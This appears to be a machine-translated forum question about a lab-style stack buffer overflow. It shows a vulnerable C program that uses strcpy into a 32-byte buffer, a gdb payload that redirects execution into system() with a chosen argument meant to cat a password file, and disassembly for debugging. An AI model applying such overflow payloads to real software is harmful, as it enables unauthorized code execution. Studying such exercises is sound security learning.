我正在尝试执行缓冲区溢出操作,该溢出操作会操纵程序的流程以调用通常不被调用的函数。 (效果很好) 另外,在该功能中,有一个打印函数可以打印一个字符串,我还应将其中的参数更改为包含目标路径的变量。
我已经成功更改了程序流程,可以调用print方法。但是没有正确的论据。我试图插入变量的地址(通过'info address cmd'找到),但这不起作用。
我在打印之前先看过堆栈,它应该可以工作...
C代码:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
char cmd[] = "/bin/cat password";
void target()
{
system("/bin/echo 'Have a nice day!'");
}
void copy(char *str)
{
char buf[32];
strcpy(buf, str);
}
int main(int argc, char *argv[])
{
if (argc < 2)
return -1;
copy(argv[1]);
return 0;
}
我的论点:
(gdb)设置args`python -c“ print'7'* 44 +'\ x49 \ x84 \ x04 \ x08'+ '\ x60 \ x3a \ xf7 \ xb7'“`
最后4个字符是变量cmd的地址。
绝望:
(gdb) disass
Dump of assembler code for function target:
0x0804843b <+0>: push ebp
0x0804843c <+1>: mov ebp,esp
0x0804843e <+3>: sub esp,0x8
0x08048441 <+6>: sub esp,0xc
0x08048444 <+9>: push 0x8048530
=> 0x08048449 <+14>: call 0x8048310 <system@plt>
0x0804844e <+19>: add esp,0x10
0x08048451 <+22>: nop
0x08048452 <+23>: leave
0x08048453 <+24>: ret
End of assembler dump.
我在0x08048444处设置了一个断点(我也更改了参数,以便调用该参数)。然后,我检查了堆栈并做了一个nexti。我再次检查,发现0x8048530被推入其中(类似于“祝你有美好的一天!”(我想)。
所以我的计划是直接转到0x08048449并添加另一个0xb7f73a60,即cmd的地址。用我选择的地址代替推送(应该打印并显示密码)
但是输出是:
sh:1:订单:未找到
所以我不知道我的错误在哪里。地址错了吗? (我试图用一些垃圾来代替参数,例如:
(gdb)设置args`python -c“ print'7'* 44 +'\ x49 \ x84 \ x04 \ x08'+ '\ x20 \ xa0 \ x04 \ x08'“
并得到:
sh:1:����:未找到
因此错误消息中印有字符本身。 我试图连续2天解决这个问题。谷歌搜索错误并没有为我带来任何有用的结果。 任何帮助和建议表示赞赏:)